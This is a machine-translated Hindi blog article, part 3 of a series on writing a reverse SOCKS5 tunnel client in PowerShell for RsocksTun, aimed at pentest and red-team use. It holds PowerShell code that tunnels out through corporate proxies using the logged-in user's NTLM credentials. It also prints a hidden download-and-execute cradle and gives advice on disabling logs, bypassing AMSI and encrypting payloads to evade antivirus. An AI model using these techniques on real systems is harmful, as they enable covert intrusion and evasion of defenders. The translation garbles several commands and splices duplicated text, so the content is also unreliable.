हम पॉवरशेल पर रिवर्स सॉक्स 5 प्रॉक्सी लिखते हैं। पार्ट 3

3 भागों में अनुसंधान और विकास की कहानी। भाग 3 व्यावहारिक है।
कई मधुमक्खी हैं - और भी अधिक लाभ

चक्र से पिछले लेख यहाँ और यहाँ पाया जा सकता है =)

लड़ाई की जाँच

आइए अब अभ्यास में हमारी स्क्रिप्ट के संचालन का परीक्षण करें। ऐसा करने के लिए, डिजिटल महासागर पर लिनक्स वीपीएस के लिए वर्चुअल मशीन (विंडोज 7 .net 4.7) से रिवर्स सुरंग को फेंकने की कोशिश करें और फिर, इसका उपयोग करके, हम Win7 पर वापस जाएंगे। इस स्थिति में, हम ऐसी स्थिति का अनुकरण करते हैं जहां विंडोज 7 ग्राहक की मशीन है, लिनक्स वीपीएस हमारा सर्वर है।

VPS पर (हमारे मामले में Ubuntu 18.04 में) हम RsocksTun के सर्वर भाग को स्थापित और कॉन्फ़िगर करते हैं:

• गोलंग सेट करें: उपयुक्त स्थापित गोलंग
• गीता से रसकुन के स्रोत ले:
  git क्लोन github.com/mis-team/rsockstun.git / opt / rstun
• निर्भरता स्थापित करें:
  go get github.com/hashicorp/yamux
  go get github.com/armon/go-socks5
  go get github.com/ThomsonReutersEikon/go-ntlm/ntlm
• मैनुअल के अनुसार संकलन: सीडी / ऑप्ट / rstun; बन जाओ
• एसएसएल प्रमाणपत्र उत्पन्न करें:
  Opensl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
• हम सर्वर भाग शुरू करते हैं:

• हम क्लाइंट पर अपनी स्क्रिप्ट शुरू करते हैं, यह सर्वर से कनेक्ट करने के लिए संकेत करता है, पोर्ट और पासवर्ड:

• mail.ru जाने के लिए Socks5 सर्वर के उठाए गए पोर्ट का उपयोग करें

जैसा कि आप स्क्रीनशॉट से देख सकते हैं, हमारी स्क्रिप्ट काम करती है। हम खुश थे, मानसिक रूप से खुद के लिए एक स्मारक बनवाया और तय किया कि सब कुछ सही है। लेकिन ...

हैंडलिंग में त्रुटि

लेकिन सब कुछ उतना आसान नहीं है जितना हम चाहते हैं ...

स्क्रिप्ट के संचालन के दौरान, एक अप्रिय क्षण का पता चला: यदि स्क्रिप्ट सर्वर पर बहुत तेज़ कनेक्शन के माध्यम से काम नहीं करता है, तो बड़े डेटा को स्थानांतरित करते समय नीचे की आकृति में दिखाई गई त्रुटि हो सकती है



इस त्रुटि का अध्ययन करने के बाद, हम देखते हैं कि जब हम एक रखने योग्य संदेश प्राप्त करते हैं (जबकि डेटा अभी भी सर्वर पर प्रेषित किया जा रहा है), तो हम सॉकेट पर रखने के लिए एक साथ उत्तर लिखने का प्रयास करते हैं, जो त्रुटि का कारण बनता है।

स्थिति को ठीक करने के लिए, हमें तब तक इंतजार करना होगा जब तक कि डेटा ट्रांसफर पूरा नहीं हो जाता है, और तब रखने के लिए एक प्रतिक्रिया भेजें। लेकिन यहां एक और समस्या उत्पन्न हो सकती है: यदि 12-बाइट हेडर भेजने और डेटा भेजने के बीच एक पलक का संदेश पल में आता है, तो हम ymx पैकेट की संरचना को नष्ट कर देंगे। इसलिए, एक अधिक सही समाधान यमक्सस्क्रिप्ट के अंदर डेटा भेजने के लिए सभी कार्यक्षमता को स्थानांतरित करना होगा, जो क्रमिक रूप से भेजने के लिए घटनाओं की प्रक्रिया करता है और ऐसी कोई स्थिति नहीं होगी।

उसी समय, yamuxScript को प्रतिक्रियात्मक प्रतिक्रिया भेजने के लिए निर्देश देने के लिए, हम अपने साझा ArrayList StopFlag [0] का उपयोग कर सकते हैं - क्योंकि शून्य सूचकांक का उपयोग नहीं किया जाता है, क्योंकि यमक्स धाराओं की संख्या 1 से शुरू होती है। इस सूचकांक में, हम yamuxScript में पास रखेंगे जो की पटल पर रखे गए संदेश में प्राप्त पिंग वैल्यू को दर्शाता है। डिफ़ॉल्ट रूप से, मान -1 होगा, जिसका अर्थ है कि कोई प्रसारण की आवश्यकता नहीं है। YamuxScript इस मान की जाँच करेगा, और यदि यह 0 है (पहले रखने योग्य पिंग = 0) या अधिक है, तो पारित मूल्य को प्रतिक्रियाशील प्रतिक्रिया पर भेजें:

if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 } 

हमें कार्यक्रम के मुख्य धागे में YMX SYN ध्वज के जवाब में भेजने को भी बाहर करना चाहिए।

ऐसा करने के लिए, हमें इस कार्यक्षमता को yamuxScript के अंदर भी ट्रांसफ़र करना होगा, लेकिन चूंकि yamux सर्वर को YMX SYN पर प्रतिक्रिया भेजने की आवश्यकता नहीं होती है और तुरंत डेटा भेजने शुरू हो जाते हैं, हम बस इस पैकेज और इसे भेजना बंद कर देते हैं:

 #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12) 

उसके बाद, डेटा के बड़े टुकड़ों का स्थानांतरण ठीक काम करता है।

प्रॉक्सी समर्थन

अब हम सोचते हैं कि हम अपने क्लाइंट को प्रॉक्सी सर्वर के माध्यम से कैसे काम कर सकते हैं।

आइए बुनियादी बातों से शुरू करें। सिद्धांत रूप में, HTTP- प्रॉक्सी (अर्थात्, अधिकांश कॉर्पोरेट नेटवर्क में http प्रॉक्सी काम करते हैं) को HTTP प्रोटोकॉल के साथ काम करने के लिए डिज़ाइन किया गया है, और ऐसा लगता है कि http हमारी तरह गंध नहीं है। लेकिन प्रकृति में, http के अलावा, https भी है और आपका ब्राउज़र नियमित http - सही के माध्यम से पूरी तरह से https साइटों से जुड़ सकता है?

इसका कारण विशेष प्रॉक्सी सर्वर ऑपरेशन मोड - कनेक्ट मोड है। इस प्रकार, यदि ब्राउज़र प्रॉक्सी सर्वर के माध्यम से https के माध्यम से जीमेल सर्वर से कनेक्ट करना चाहता है, तो यह प्रॉक्सी सर्वर को एक कनेक्ट अनुरोध भेजता है, जो होस्ट और गंतव्य पोर्ट को इंगित करता है।

 CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive 

जीमेल सर्वर से एक सफल कनेक्शन के बाद, प्रॉक्सी 200 ओके प्रतिक्रिया देता है।

 HTTP/1.1 200 OK 

उसके बाद, ब्राउज़र से सभी डेटा सीधे सर्वर को प्रेषित किया जाता है और इसके विपरीत। सरल शब्दों में, एक प्रॉक्सी सीधे दो नेटवर्क सॉकेट को एक दूसरे से जोड़ता है - एक ब्राउज़र सॉकेट और एक जीमेल सर्वर सॉकेट। उसके बाद, ब्राउज़र जीमेल सर्वर के साथ एक ssl कनेक्शन स्थापित करना शुरू कर देता है और इसके साथ सीधे काम करता है।

उपरोक्त को हमारे क्लाइंट में स्थानांतरित करने के लिए, हमें पहले प्रॉक्सी सर्वर के साथ एक कनेक्शन स्थापित करना होगा, एक HTTP पैकेट भेजना होगा जिसमें CONNECT विधि और हमारे yamux सर्वर का पता होगा, कोड 200 के साथ प्रतिक्रिया की प्रतीक्षा करें और फिर ssl कनेक्शन स्थापित करने के लिए आगे बढ़ें।

सिद्धांत रूप में, विशेष रूप से जटिल कुछ भी नहीं है। यह है कि प्रॉक्सी सर्वर के माध्यम से कनेक्शन तंत्र golang क्लाइंट rsockstun में कार्यान्वित किया जाता है।

मुख्य कठिनाइयाँ तब शुरू होती हैं जब प्रॉक्सी सर्वर को स्वयं से कनेक्ट करते समय ntlm या kerberos प्राधिकरण की आवश्यकता होती है।

इस स्थिति में, प्रॉक्सी सर्वर 407 कोड और ntlm http हेडर को बेस 64 स्ट्रिंग के रूप में लौटाता है

 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0 

सफल प्राधिकरण के लिए, हमें इस लाइन को डीकोड करना चाहिए, इससे पैरामीटर (जैसे ntlm- चैलेंज, डोमेन नाम) को हटा देना चाहिए। फिर, इस डेटा के साथ-साथ उपयोगकर्ता नाम और इसके ntlm हैश का उपयोग करते हुए, हमें एक ntlm प्रतिक्रिया उत्पन्न करने की आवश्यकता है, इसे वापस base64 में एनकोड करें और इसे प्रॉक्सी सर्वर पर वापस भेजें।

 CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive + UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive 

लेकिन यह इतना बुरा नहीं है। तथ्य यह है कि जब हम स्क्रिप्ट चलाते हैं, तो हम या तो वर्तमान उपयोगकर्ता का नाम या उसके ntlm पासवर्ड हैश को नहीं जानते हैं। इस प्रकार, प्रॉक्सी सर्वर पर प्राधिकरण के लिए, हमें उपयोगकर्ता नाम पता लगाना होगा / कहीं और से पास करना होगा।

सैद्धांतिक रूप से, हम इस कार्यशीलता को एक स्क्रिप्ट में लागू कर सकते हैं (प्रमाणीकरण मापदंडों को मैन्युअल रूप से सेट करने से शुरू कर सकते हैं, जैसा कि GoLang क्लाइंट में किया गया है, और एक LSASS प्रक्रिया मेमोरी डंप का उपयोग करके समाप्त होता है, जैसा कि mimikatz में किया गया है), लेकिन फिर हमारी स्क्रिप्ट अविश्वसनीय आकार और जटिलता के लिए विकसित होगी, विशेष रूप से ये विषय इस लेख के दायरे से परे हैं।

हमने सोचा और तय किया कि हम दूसरे रास्ते से जाएंगे ...

मैन्युअल रूप से प्राधिकरण करने के बजाय, हम HTTPWebRequest वर्ग के प्रॉक्सी सर्वर के साथ काम करने के लिए अंतर्निहित कार्यक्षमता का उपयोग करेंगे। लेकिन इस मामले में, हमें अपने RsocksTun सर्वर के कोड को बदलना होगा - आखिरकार, जब इसे क्लाइंट से अनुरोध प्राप्त होता है, तो यह पासवर्ड के साथ केवल एक स्ट्रिंग की उम्मीद करता है, और इसे पूर्ण HTTP अनुरोध प्राप्त होगा। सिद्धांत रूप में, rsoskstun के सर्वर पक्ष को संशोधित करना इतना मुश्किल नहीं है। केवल यह तय करना आवश्यक है कि हम HTTP-रिक्वेस्ट के किस भाग में पासवर्ड ट्रांसमिट करेंगे (उदाहरण के लिए, यह XAuth http-हैडर होगा) और http-रिक्वेस्ट को प्रोसेस करने की कार्यक्षमता को लागू करने, पासवर्ड के साथ हमारे हेडर की जांच करने और रिटर्न http-response (200 OK) भेजने के लिए। हमने इस कार्यक्षमता को RSocksTun परियोजना की एक अलग शाखा में जोड़ा।

RSocksTun (सर्वर और क्लाइंट) के गोलांग भाग को संशोधित करने के बाद, हम अपनी स्क्रिप्ट के लिए प्रॉक्सी सर्वर के साथ काम करने की कार्यक्षमता जोड़ना शुरू करेंगे। प्रॉक्सी के माध्यम से वेब सर्वर से जुड़ने के लिए HttpWebRequest वर्ग का सबसे सरल कोड इस तरह दिखता है:

 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit} 

इस स्थिति में, हम HttpWebRequest वर्ग का एक उदाहरण बनाते हैं, प्रॉक्सी और क्रेडेंशियल्स गुण सेट करते हैं, कस्टम XAuth http-शीर्ष लेख जोड़ते हैं। तदनुसार, Google सर्वर से हमारा अनुरोध प्रॉक्सी सर्वर 127.0.0.1:8080 के माध्यम से जाएगा। यदि प्रॉक्सी प्राधिकरण के लिए कहता है, तो विंडोज खुद ही वर्तमान उपयोगकर्ता के क्रेडिट को "पिक" करेगा और संबंधित HTTP-हेडर को सम्मिलित करेगा।

मैन्युअल रूप से एक प्रॉक्सी सर्वर को निर्दिष्ट करने के बजाय, हम प्रॉक्सी सर्वर की सिस्टम सेटिंग्स का उपयोग कर सकते हैं:

 $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 

इसलिए, जब हम एक प्रॉक्सी सर्वर के माध्यम से अपने rsockstun सर्वर से जुड़े और कोड 200 के साथ एक HTTP प्रतिक्रिया मिली, तो हमें थोड़ी सी चाल करने की आवश्यकता है, अर्थात्, HTTPWebRequest वर्ग से, $ ccpConnection.getStream जैसे पढ़ने / लिखने के लिए एक स्ट्रीम ऑब्जेक्ट प्राप्त करें। ()। हम .Net प्रतिबिंब निरीक्षण तंत्र (उन लोगों के लिए जो इस तंत्र को और अधिक विस्तार से समझना चाहते हैं, लिंक साझा करें ) के माध्यम से करते हैं। यह हमें अंतर्निहित वर्गों के तरीकों और गुणों तक पहुंचने की अनुमति देता है:

 #--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null) 

इस प्रकार, हमें वही सॉकेट-स्ट्रीम मिला, जो प्रॉक्सी सर्वर द्वारा हमारे यमक्स सर्वर से जुड़ा है और जिसके साथ हम रीड / राइट ऑपरेशन कर सकते हैं।

एक अन्य बिंदु जिस पर हमें विचार करने की आवश्यकता है वह है कनेक्शन की स्थिति की निगरानी के लिए तंत्र। चूंकि हम प्रॉक्सी सर्वर और HTTPWebRequest वर्ग के माध्यम से काम करते हैं, हमारे पास $ tcpConnection.Connected संपत्ति नहीं है और हमें किसी तरह से कनेक्शन की स्थिति की निगरानी करने की आवश्यकता है। हम एक अलग $ जुड़े ध्वज के माध्यम से कर सकते हैं, यह प्रॉक्सी सर्वर से 200 कोड प्राप्त करने के बाद $ true पर सेट है और सॉकेट-स्ट्रीम से पढ़ते समय एक अपवाद होने पर $ झूठा करने के लिए रीसेट हो जाता है:

 try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;} 

अन्यथा, हमारा कोड अपरिवर्तित रहता है।

इनलाइन लॉन्च

एक नियम के रूप में, सभी समझदार लोग PS1 फ़ाइलों से समान स्क्रिप्ट चलाते हैं, लेकिन कभी-कभी (और वास्तव में - लगभग हमेशा) pentest / redtime की प्रक्रिया में डिस्क को कुछ भी लिखे बिना कमांड लाइन से मॉड्यूल चलाने की आवश्यकता होती है, ताकि कोई निशान न छोड़े। । इसके अलावा, शक्तियां आपको कमांड लाइन के माध्यम से ऐसा करने की अनुमति देती है:

 powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code> 

हालांकि, किसी को कमांड शुरू करने और निष्पादित करने की गोपनीयता के संबंध में वास्तव में आराम नहीं करना चाहिए। क्योंकि, सबसे पहले, सभी पॉवरशेल कोड को इसी इवेंटलॉग्स (विंडोज पॉवरशेल और माइक्रोसॉफ्ट-विंडोज-पॉवरशेल / ऑपरेशनल) में स्टेंडर्ड विंडो टूल्स का उपयोग करके लॉग इन किया जाता है, और दूसरी बात, पॉवरशेल के अंदर निष्पादित सभी कोड एएमएसआई तंत्र के माध्यम से जाता है। एंटी मैलवेयर स्कैन इंटरफ़ेस)। एक और बात यह है कि ये दोनों तंत्र पूरी तरह से सरल क्रियाओं के साथ महंगे हैं। पत्रिकाओं को अक्षम करना और AMSI को दरकिनार करना चर्चा का एक अलग विषय है और हम इसके बारे में भविष्य के लेखों या हमारे चैनल में लिखेंगे। लेकिन अब कुछ और के बारे में।

तथ्य यह है कि हमारी स्क्रिप्ट एक प्रभावशाली आकार तक बढ़ गई है और यह स्पष्ट है कि यह किसी भी कमांड लाइन में फिट नहीं होगा (विंडोज में cmd ​​की सीमा 8191 अक्षर है)। इसलिए, हमें अपनी स्क्रिप्ट को डिस्क पर लिखे बिना चलाने के लिए एक तरीका आना चाहिए। और यहाँ मैलवेयर द्वारा उपयोग किए जाने वाले मानक तरीके अब लगभग 15 वर्षों से हमारी मदद कर रहे हैं। संक्षेप में, नियम सरल है - डाउनलोड करें और चलाएं। मुख्य बात यह मिश्रण नहीं है =)
डाउनलोड और लॉन्च कमांड इस तरह दिखता है:

 powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))" 

आप HarmJ0y के ' git ' पर और भी अधिक इनलाइन लॉन्च विकल्प पा सकते हैं:

बेशक, डाउनलोड करने से पहले आपको लॉग को अक्षम करने और AMSI को बायपास करने या अक्षम करने की आवश्यकता है। स्क्रिप्ट को डाउनलोड करने से पहले एन्क्रिप्ट किया जाना चाहिए, क्योंकि डाउनलोड प्रक्रिया के दौरान यह स्वाभाविक रूप से आपके (या आपके = नहीं) एंटीवायरस द्वारा चेक अप और डाउन हो जाएगा, और शुरू करने से पहले इसे तदनुसार डिक्रिप्ट किया जाएगा। यह कैसे करना है - आप, पाठक को पहले से ही खुद के साथ आना चाहिए। यह इस विषय के दायरे से परे है। लेकिन हम इस मामले में एक अच्छे विशेषज्ञ को जानते हैं - सर्वशक्तिमान Google। नेटवर्क पर एन्क्रिप्शन और डिक्रिप्शन के बहुत सारे उदाहरण हैं, साथ ही AMSI को दरकिनार करने के उदाहरण भी हैं।

सभी भागों के लिए निष्कर्ष

इस प्रक्रिया में, हमने पाठक को "रिवर्स सुरंगों" की तकनीक से परिचित कराया और पेंट्स के लिए उनके उपयोग से, ऐसी सुरंगों के कई उदाहरण दिखाए और उनके उपयोग के पेशेवरों और विपक्षों के बारे में बात की।

हम भी क्षमता के साथ RsocksTun सर्वर के लिए एक पॉवरशेल क्लाइंट बनाने में कामयाब रहे:

• एसएसएल कनेक्शन
• सर्वर पर प्राधिकरण;
• यमक्स-सर्वर के साथ काम के साथ रखने के लिए पिंगल पिंग्स;
• ऑपरेशन के बहु-थ्रेडेड मोड;
• प्राधिकरण के साथ प्रॉक्सी सर्वर के माध्यम से समर्थन कार्य।

आप हमारे github पर संबंधित शाखा में सभी rsockstun कोड (गोलंग और शक्तियां) पा सकते हैं । मास्टर शाखा को प्रॉक्सी सर्वर के बिना काम करने के लिए डिज़ाइन किया गया है, और via_proxy शाखा को प्रॉक्सी और HTTP के माध्यम से काम करने के लिए डिज़ाइन किया गया है।

कोड में सुधार और व्यवहार में विकास की प्रयोज्यता पर आपकी टिप्पणियों और सुझावों को सुनकर हमें खुशी होगी।

यह हमारे रिवर्स टनलिंग लेखों के चक्र को पूरा करता है। हम वास्तव में आशा करते हैं कि आप हमें पढ़ने में रुचि रखते हैं और जानकारी उपयोगी है।